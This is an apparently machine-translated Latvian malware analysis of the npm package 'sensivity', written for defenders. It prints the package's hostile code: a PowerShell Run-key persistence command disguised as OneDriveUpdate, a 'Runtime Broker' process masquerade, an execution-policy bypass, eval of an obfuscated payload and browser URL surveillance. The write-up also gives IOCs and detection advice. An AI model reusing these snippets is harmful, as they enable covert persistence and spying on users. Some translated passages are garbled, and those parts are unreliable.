TL; DR
Npm pakotne jutīgums sevi raksturo kā "jutīguma vadības paneli". Operētājsistēmā Windows tas darbojas kā tālvadības pults un uzraudzības rīks.
Tās ieejas punkts, launcher.js, pārdēvē savu procesu par Runtime Broker, ieraksta automātiski startējamu Run-key vērtību ar nosaukumu OneDriveUpdate kas atkārtoti palaiž pakotni, izmantojot slēptu VBScript, izveido PowerShell ar -ExecutionPolicy Bypassun pēc tam novērtē 171 KB lielu apmulsinātu servera vērtumu kopā ar 6.87 MB lielu vietējo moduli, sens.node.
Tas apkalpo tālruņu savienošanas pārī vadības paneli TCP portā 3000 un nolasa aktīvās pārlūkprogrammas adreses joslas URL, izmantojot Windows UIAutomation, meklējot vienu cietkodētu YouTube videoklipu.
Divas daļas, kas iepriekš tika uzskatītas par melnajām kastēm, tagad ir atrisinātas. Apslēptais serveris, server.obf.js, izmanto obfuscator.io RC4 virkņu masīva shēmu; atkārtoti ieviešot tā dekodētāju bezsaistē (netiek izpildīts JavaScript), tiek atjaunots viens ārējs galapunkts — https://izopi.com/check.php — kopā ar iegultu RSA publisko atslēgu, ko izmanto, lai pārbaudītu parakstītas licences atbildes.
Vietējais modulis, sens.node, nav iepakots: tā importēšanas tabula un iegultās virknes to identificē kā DirectX 11 / Dear ImGui spēles pārklājumu, kas nodrošina mērķrobota, ESP (sienas uzlaušanas) un triggerrobota funkcijas, ko nodrošina attālināta procesa injekcija un atmiņas lasīšana/rakstīšana.
Tajā esošās virknes atsaucas uz transportlīdzekļu vienībām un kartes atrašanās vietām saskaņā ar GTA V / FiveM. npm pakotne ir piegādes un saglabāšanas ietvars ap šo vietējo moduli.
Noteicošais signāls ir operacionāls, nevis tehnisks: viens anonīms izdevējs izlaida aptuveni septiņdesmit vienas pakotnes versijas — 2.5.0 caur 2.5.69 — dažu dienu laikā, katrai no tām nesot vienu un to pašu palaišanas iekārtu.
Nav instalāciju hooksLietderīgā slodze tiek palaista tikai tad, kad pakotne ir startēta.
Uzbrukums: kā tas darbojas
sensivity nodrošina desmit failus. Package.json fails ir reti sastopams: nav repozitorija lauka, nav licences, ir galvenais un divi bin aizstājvārdi (sensivity, sens), kas visi norāda uz launcher.js, un node launcher.js sākuma skripts. Nav ne pēcinstalēšanas, ne pirmsinstalēšanas. Nekas neaktivizējas npm instalēšanas laikā. Tālāk aprakstītā darbība tiek veikta, kad lietotājs startē pakotni — izmantojot bin shim, sākuma skriptu vai require.
Tarball satur palaišanas programmu, maskētu serveri, vietējo moduli, Visual Basic skriptu un publisko/web direktoriju vadības panelim. launcher.js ir lasāms orķestrētājs; izpildlaikā svarīgā loģika atrodas divos tā ielādētajos blobos — maskētā serverī un kompilētā vietējā modulī, kas abi ir aprakstīti tālāk.
Procesa maskēšanās un viltots OneDrive atjauninātājs
Izpildes sākumā launcher.js divreiz iestata savu procesa nosaukumu:
javascript process.title = 'Runtime Broker'; Runtime Broker ir likumīgs Windows process (RuntimeBroker.exe), kas starpnieks nosaka lietotņu atļaujas. Pārdēvējot Node procesu atbilstoši šim nosaukumam, ātri uzmetot aci uz uzdevumu pārvaldnieku, nekas neparasts netiek atklāts.
Noturība tiek rakstīta, izmantojot PowerShell, nevis tiešu reģistra API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Automātiskās palaišanas vērtība ir nosaukta par OneDriveUpdate, un tā nenorāda tieši uz pakotni. Tā norāda uz wscript.exe, kurā darbojas komplektā iekļautais OneDrive.Standalone.Updater.vbs. Šis skripts atkārtoti palaiž node launcher.js slēptā logā. Gan Run-key nosaukums, gan VBScript faila nosaukums aizņemas Microsoft zīmolu, tāpēc automātiskās palaišanas ieraksts tiek lasīts kā parasts OneDrive uzdevums.
PowerShell ar izpildes politikas apvedceļu
Palaišanas programma atkārtoti sazinās ar PowerShell. Skeneri kā kritisku atzīmē ģenerēta .ps1 faila palaišanas procesu, kurā ir atspējota izpildes politika:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Ģenerētie skripti apstrādā pārlūkprogrammas uzraudzības un logu noteikšanas darbus, kas aprakstīti nākamajā sadaļā, tādējādi novēršot lokālās skripta parakstīšanas pārbaudi.
Aptumšots serveris un vietējais modulis
Pēc iestatīšanas launcher.js ielādē un izpilda savu faktisko lietderīgo slodzi:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js ir 171 KB liels _0x masīva obfuskācijas fails — JavaScript modelis, kurā katra virkne un identifikators tiek aizstāts ar indeksu sajauktā masīvā un pēc tam izpildes laikā noņemts no atsauces. Shēma ir RC4 variants, ko izveidojis obfuscator.io: viena dekodētāja funkcija, izmantojot base64 dekodē masīva ierakstu, un pēc tam to RC4 dešifrē ar katra izsaukuma atslēgu. Šī dekodētāja atkārtota ieviešana atsevišķā skriptā — palaižot tikai atkārtotu ieviešanu iegūtajā 821 ierakstu virkņu masīvā, nekad neizmantojot pakotnes JavaScript —, tas tiek tīri atritināts. Tas, kas tiek parādīts, ir pieticīgs, bet detalizēts.cisivs: viens ārējs URL, https://izopi.com/check.php`, piešķirts LICENSE_URL konstantei; iegults RSA PUBLIC_KEY_PEM`; lokālais panelis maršrutē /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off un /trigger/status; un virknes child_process, crypto un [Sensivity] sens.node loaded — pēdējā ir precīza žurnāla rinda, ko palaišanas programma pārraksta ielādētajā programmas modulī. Galapunkts ir licences pārbaude: klients publicē identifikatoru (slēptais serveris formatē Discord ID: %s virkni), un RSA atslēga pārbauda servera parakstīto atbildi.
sens.node ir 6.87 MB liels kompilēts natīvais papildinājums, un tas nav iepakots — sadaļas entropija atrodas 5.6–6.6, un PE importa un eksporta tabulas ir neskartas, tāpēc tā iespējas ir tieši nolasāmas. Tas eksportē napi_register_module_v1, standard N-API ieejas punkts mezglā, tāpēc novērtētais serveris to ielādē ar vienkāršu require. Tā importēšanas tabula ir tell tabula. No KERNEL32 tas izvelk OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules un Process32First/NextW — kanonisko kopu cita procesa atrašanai, atmiņas piešķiršanai tajā un šīs atmiņas lasīšanai vai rakstīšanai. No USER32 tas izvelk GetAsyncKeyState, GetKeyState, mouse_event un SetCursorPos; tas saista d3d11.dll, D3DCOMPILER_43 un dwmapi ekrāna pārklājumam un pilnu WINHTTP kopu tīkla izsaukumiem. Tajā iegultās virknes nepārprotami norāda funkciju kopas nosaukumu: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected un Dear ImGui reklāmkarogs Dear ImGui 1.91.3 WIP. Atrašanās vietas un entītiju virknes, piemēram, Grapeseed Medical Clinic un vehicle-ESP vārdu krājums, atbilst GTA V / FiveM.
Šī sadalīšana faktiski ir apzināta: lasāmais launcher.js satur tikai tās daļas, ko skeneris viegli nolasa — noturību, maskēšanos, pašu eval izsaukumu —, savukārt obfukcija slēpj vienīgo ārējo resursdatoru — izpildlaika kontaktus, un binārais fails satur spēles pārklājuma un procesa injekcijas loģiku. Palaišanas programma ir plāna, auditējama čaula; obfukētais serveris slēpj tīkla identitāti; vietējais modulis ir vērtība. Mēs aprakstām binārā faila importus un virknes kā nolasītas; mēs no tām neizsecinām operatora mērķi.
Tālruņa savienošanas pārī vadības panelis 3000. portā
Palaišanas programma pārvalda lokālu tīmekļa serveri TCP portā 3000 un apstrādā to kā atsevišķu serveri. Tā vaicā esošu klausītāju un notīra to pirms saistīšanas:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panelis ir sasniedzams vietnē http://localhost:3000, ar stingri iekodētu lokālā tīkla rezerves URL http://192.168.1.16:3000. Katalogs public/ un paneļa darbība atbilst QR savienošanas pārī plūsmai: tālrunis skenē kodu un izveido savienojumu ar resursdatoru kā tālvadības pults. Palaišanas programmā neparādās ārējs komandu un vadības domēns skaidrā tekstā, taču, kā redzams iepriekš minētajā dekofukācijā, tāds ir klātesošs serverī: izopi.com licences galapunkts. Pats panelis ir lokāls un lokālā tīkla darbības jomas; vienīgais izejošais resursdators ir šī licences pārbaude.
Atsevišķs uzrauga/darbinieka modelis uztur procesu dzīvu. Palaišanas programma atkārtoti darbojas ar SENSIVITY_SUPERVISOR un SENSIVITY_WORKER vides karodziņiem, katrs apakšprocess darbojas slēpti, tāpēc, iznīcinot vienu procesu, rodas sargsuns, kas to restartē.
Pārlūkprogrammas uzraudzība un YouTube signāls
Visspecifiskākā darbība ir pārlūkprogrammas uzraudzība. launcher.js izveido PowerShell, kas darbina Windows UIAutomation, lai nolasītu darbojošās pārlūkprogrammas adreses joslu:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern atgriež lietotāja interfeisa elementa teksta saturu. Pielietojot to pārlūkprogrammas adreses joslas rediģēšanas vadīklai, tas atgriež URL, kuru upuris pašlaik skata — bez pārlūkprogrammas paplašinājuma, nepieskaroties profilam diskā un bez API āķa. Ģenerētais skripts atkārto $browserNames sarakstu un izvelk priekšplānā esošās pārlūkprogrammas URL vai loga nosaukumu.
Šis URL tiek pārbaudīts pret vienu cietkodētu mērķi:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Palaišanas programma trīs sekunžu ciklā veic aptauju pārlūkprogrammas logam, kurā tiek rādīts YouTube, un ģenerētajā PowerShell ir Get-YouTubeBrowser/Test-TargetYouTubeUrl pāris, kas atbilst šim video ID. Novērojamais efekts ir divējāds: aktīvās pārlūkošanas URL tiek nolasīts no upura ekrāna, un tiek noteikta resursdatora mijiedarbība ar vienu konkrētu YouTube videoklipu. Mēs aprakstām mehānismu un mērķi; mēs no tiem neizsecinām motīvu.
Adreses joslas nolasījumu skeneris apzīmē kā sensitive_data_enumeration — Process::env un UIAutomation avotu, kas baro tīklā izmantojamu izpildlaika vidi. Izolēti tas izskatās nekaitīgs un pārvēršas uzraudzībā tikai tad, kad datu dzīves cikls ir izsekots no UIAutomation avota līdz apslēptajam serverim.
Laika skala un versiju evolūcija
Jūtīgums nav vienreizēja augšupielāde. Izdevēja kontā ir aptuveni septiņdesmit publicētas šīs atsevišķās pakotnes versijas, un pārskatīšanas laikā turpināja parādīties jaunas. Palaišanas programma 2.5.x versijā attīstās pa vienai funkcijai, savukārt tās noturība un lietderīgā slodze paliek nemainīga.
| Datums (UTC) | Novērotās versijas | Palaišanas ierīces stāvoklis |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Bāzes QR paneļa palaišanas programma; Izpildes atslēgas saglabāšana; apmulsināta servera novērtēšana. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Tas pats pirkstu nospiedums; konsoles pēdu slāpēšana. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Pievieno piespraustu YouTube iesaistes mērķi wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Nepilnību aizpildoša atkārtota publicēšana visā diapazonā; vadītājs/darbinieku uzraudzības iestāde. |
Nolasot palaidēju lejupielādētajos pārstāvjos — 2.5.0, 2.5.36 un 2.5.69 —, tiek parādīti četri līmeņi. Agrākajās versijās ir pamata QR pārošanas palaidējs. Sākot ar 2.5.33 versiju, parādās UIAutomation adreses joslas apkopotājs. Sākot ar 2.5.58 versiju, tiek pievienots vadītāja pārvaldības slānis. Sākot ar 2.5.64 versiju, komplektu pabeidz atdalītais vadītāja/darba sargsuns. Visā procesā četras lietas nekad nemainās: OneDriveUpdate Run atslēga, OneDrive.Standalone.Updater.vbs pipete, eval'd server.obf.js un sens.node vietējais modulis.
2026-06-05 vilnis ir ievērojams, jo tajā tika atkārtoti publicēti zemākie versiju numuri — no 2.5.0 līdz 2.5.15 —, kas atrodas zem versijām, kas tika apstiprinātas dažas dienas iepriekš. Rezultātā reģistrā ir nepārtraukta 2.5.x rinda, kurā katrai versijai ir viens un tas pats palaidējs.
Kompromisa rādītāji
Visi tālāk norādītie indikatori tika nolasīti tieši no pakotnes tarball. Lasāmais palaidējs satur tikai atgriezenisko saiti un vienu privātu lokālā tīkla adresi; vienīgais ārējais resursdatora nosaukums, izopi.com, tika atgūts, bezsaistē dekobfusējot server.obf.js.
| Veids | Indikators | Piezīmes |
|---|---|---|
| Pakete | npm:sensivity (≈70 versijas, 2.5.0-2.5.69) | Vienas pakotnes izdevējs; bez repozitorija; nelicencēts. |
| fileja | launcher.js | Lasāms orķestrētājs; galvenais un atkritumu tvertnes mērķis. |
| fileja | server.obf.js (≈171 KB) | obfuscator.io RC4 virkņu masīva lietderīgā slodze, ielādēta, izmantojot eval(fs.readFileSync(...)). |
| fileja | sens.node (≈6.87 MB) | PE32+ x86-64 mezgla N-API papildinājums; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| fileja | OneDrive.Standalone.Updater.vbs | Slēpts atkārtotas palaišanas rīks (node launcher.js). |
| tīkls | https://izopi.com/check.php | Licences/autentifikācijas galapunkts atgūts no apslēptā servera; iegultā RSA publiskā atslēga pārbauda atbildes. |
| Spējas | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Attālinātās procesa injekcijas un atmiņas lasīšanas/rakstīšanas iespējas. |
| Spējas | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui spēles pārklājums, kas ievieš aimbot, ESP un triggerbot funkcijas. |
| reģistra | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Automātiskās palaišanas vērtība, kas norāda uz wscript.exe un VBScript palaidēju. |
| Process | process.title = 'Runtime Broker' | Maskējas par likumīgu Windows Runtime Broker procesu. |
| Uzvedība | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Izpildes politikas apiešana, ko izmanto ģenerētajiem PowerShell skriptiem. |
| Uzvedība | UIAutomation ValuePattern pārlūkprogrammas adreses joslas nolasīšana | Nolasa priekšplāna pārlūkprogrammas loga URL. |
| Uzvedība | Mērķa video ID wJWta2lO0Lw3 sekunžu YouTube aptauja | Piesprausts iesaistes uzraudzības signāls. |
| tīkls | http://localhost:3000, rezerves variants http://192.168.1.16:3000 | QR savienošanas vadības panelis ir pieejams lokāli un lokālajā tīklā. |
| vide | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Atdalīti sargsuņa procesa koordinācijas karodziņi. |
Atribūcija, ietekme un aizstāvji
Pakotni publicē viens npm konts, kura norādītā e-pasta adrese ir nepārbaudīta Gmail adrese. Kontam ir ļoti negatīvs reģistra reputācijas vērtējums, tas uztur un publicē tikai šo vienu pakotni, un tam nav saistīta avota krātuves. Mēs neesam pārbaudījuši e-pasta adreses īpašumtiesības, un kampaņu mēs attiecinām uz izdevēja kontu, nevis uz kādu nosauktu personu. Palaišanas programmai nav skaidra teksta infrastruktūras, taču tagad ir zināms viens ārējais resursdators: apmulsinātais serveris sazinās ar izopi.com, lai pārbaudītu licenci, un vietējais modulis — nolasīts no importa tabulas un virknēm, nevis apgrieztā instrukcijā pa instrukcijai — ir spēles pārklājums, kas ievada datus cita procesa atmiņā un nolasa tos.
Novērojamā ietekme ir uz Windows lietotājiem, kuri instalē un palaiž sensitivitātes pakotni, gaidot vadības paneļa utilītu. Šajos resursdatoros pakotne izveido automātiskās palaišanas noturību, kas maskēta kā OneDrive uzdevums, pārdēvē sevi, lai atdarinātu sistēmas procesu, nolasa lietotāja pārlūkotā satura URL un izveido savienošanas paneli, kas saista datoru ar attālo ierīci lokālajā tīklā. Vadītāja/darbinieka sargsuns nozīmē, ka viena procesa slēgšana to nenoņem; Run-key ieraksts paliek spēkā pēc atkārtotas palaišanas. Palaišanas programma nav vērsta uz macOS un Linux — noturības, PowerShell un UIAutomation ceļi ir paredzēti tikai Windows.
Septiņdesmit versiju maiņa ir tendence, kuru ir vērts atzīmēt. Vienas pakotnes atkārtota publicēšana desmitiem reižu dažu dienu laikā, tostarp versiju numuru aizpildīšana zem jau noņemtajām, saglabā aktīvu kopiju reģistrā starp noņemšanām un traucē versiju piesaistītiem bloķēšanas sarakstiem. Bloķēšanas saraksta ieraksts sensivity@2.5.61 neko nedara pret sensivity@2.5.3 atkārtotu publicēšanu nākamajā dienā.
Aizstāvji var rīkoties šādi:
- Pilnībā bloķējiet pakotnes nosaukuma sensitivitāti reģistra starpniekservera un CI atļauto sarakstu sadaļās. Atsevišķu versiju piespraušana zaudē atkārtotas publicēšanas ritmu; nosaukums ir noturīgs indikators.
- Meklējiet vērtību “Run” ar nosaukumu “OneDriveUpdate”, kuras dati izsauc wscript.exe pret .vbs failu lietotāja ceļā. Oriģinālais OneDrive atjauninātājs šādā veidā netiek reģistrēts.
- Brīdinājums par Node.js procesu, kura process.title ir Runtime Broker. Īstais brokeris ir RuntimeBroker.exe, nevis Node izpildlaiks.
- Atzīmēt ar npm instalēšanas laika pakotņu ielādēm, kas piegādā kompilētu .node papildinājumu, kā arī .obf.js faila eval(fs.readFileSync(…)). Šis savienojums — necaurspīdīgs vietējais binārais fails, kas ielādēts blakus apmulsinātam tekstam — ir strukturālā norāde šeit neatkarīgi no jebkuras virknes IOC.
- Apstrādājiet jebkuru lokāli saistītu klausītāju 3000. portā, ko ģenerējis negaidīts mezgla process, kā aizdomīgu pārvaldītajos Windows galapunktos.
- Bloķēt vai brīdināt par izejošajiem pieprasījumiem uz izopi.com no izstrādātāja vai lietotāja resursdatora; tas ir pakotnes vienīgais ārējais galapunkts, kas tiek sasniegts no apslēptā servera, izmantojot /check.php.
- Jebkuram komplektā iekļautajam .node papildinājumam pirms uzticēšanās pārbaudiet tā importēšanas tabulu. Kombinācija OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ir attālināta procesa injekcija neatkarīgi no tā, ko pakotne apgalvo; šeit tā atrodas blakus Direct3D pārklājumam un aimbot/ESP/triggerbot virknēm.
Statiskajai analīzei pipelineNotiesāšanas forma ir noturīga visā versiju maiņas procesā: instalēšanas profils bez tīkla, procesa nosaukuma piešķiršana zināmam sistēmas procesa nosaukumam, rakstīšana ar izpildes atslēgu, izmantojot PowerShell, un no diska nolasīta faila novērtēšana. Neviens no tiem nav atkarīgs no domēna, IP adreses vai versijas numura, ko nākamā atkārtotā publicēšana var mainīt.
Atsauces
[npm: jutīgums] — reģistra lapa šeit apspriestajai pakotnes versijas rindai; var tikt noņemta.





